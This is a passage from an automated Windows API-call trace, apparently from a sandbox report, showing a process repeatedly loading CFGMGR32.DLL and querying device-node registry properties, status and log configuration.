(hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.036] malloc (_Size=0x18) returned 0x196ef0d1c60 [0231.036] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.039] malloc (_Size=0x48) returned 0x196ef0fbb30 [0231.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a907fe4, dwHighDateTime=0x1d9eb0c)) [0231.039] SetEvent (hEvent=0x248) returned 1 [0231.042] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.042] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.046] malloc (_Size=0x18) returned 0x196ef0d1d60 [0231.046] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.046] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0231.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a907fe4, dwHighDateTime=0x1d9eb0c)) [0231.104] SetEvent (hEvent=0x248) returned 1 [0231.113] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.113] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.116] malloc (_Size=0x18) returned 0x196ef0d1c00 [0231.117] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.117] malloc (_Size=0x48) returned 0x196ef0fbd10 [0231.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a9cba19, dwHighDateTime=0x1d9eb0c)) [0231.117] SetEvent (hEvent=0x248) returned 1 [0231.120] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.121] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.124] malloc (_Size=0x18) returned 0x196ef0d2040 [0231.124] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.124] malloc (_Size=0x48) returned 0x196ef0fba40 [0231.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a9cba19, dwHighDateTime=0x1d9eb0c)) [0231.125] SetEvent (hEvent=0x248) returned 1 [0231.133] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.133] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.136] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0231.136] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.139] malloc (_Size=0x48) returned 0x196ef0fbb30 [0231.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a9f1cbb, dwHighDateTime=0x1d9eb0c)) [0231.139] SetEvent (hEvent=0x248) returned 1 [0231.142] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.142] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.147] malloc (_Size=0x18) returned 0x196ef0d1f20 [0231.148] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0231.148] malloc (_Size=0x48) returned 0x196ef0fc120 [0231.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6aa1811d, dwHighDateTime=0x1d9eb0c)) [0231.148] SetEvent (hEvent=0x248) returned 1 [0231.153] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.153] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.156] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.157] malloc (_Size=0x18) returned 0x196ef0d1c00 [0231.158] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0231.158] malloc (_Size=0x48) returned 0x196ef0fc120 [0231.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6aa1811d, dwHighDateTime=0x1d9eb0c)) [0231.158] SetEvent (hEvent=0x248) returned 1 [0231.212] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.212] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.217] malloc (_Size=0x18) returned 0x196ef0d1e60 [0231.217] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.217] malloc (_Size=0x48) returned 0x196ef0fb720 [0231.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6aab0849, dwHighDateTime=0x1d9eb0c)) [0231.218] SetEvent (hEvent=0x248) returned 1 [0231.228] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.228] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, 